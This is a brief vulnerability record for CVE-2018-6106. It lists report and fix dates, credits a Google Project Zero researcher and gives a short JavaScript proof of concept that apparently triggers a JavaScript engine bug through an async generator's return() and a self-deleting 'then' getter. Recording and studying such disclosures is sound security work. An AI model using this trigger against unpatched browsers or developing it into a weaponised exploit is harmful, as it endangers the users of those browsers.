CVE-2018-6106.md

CVE-2018-6106

• Report: Jan 2018
• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

async function* asyncGenerator() {
}

let gen = asyncGenerator();
gen.return({
    get then() {
        delete this.then;

        gen.next();
    }
});

Reference

• Issue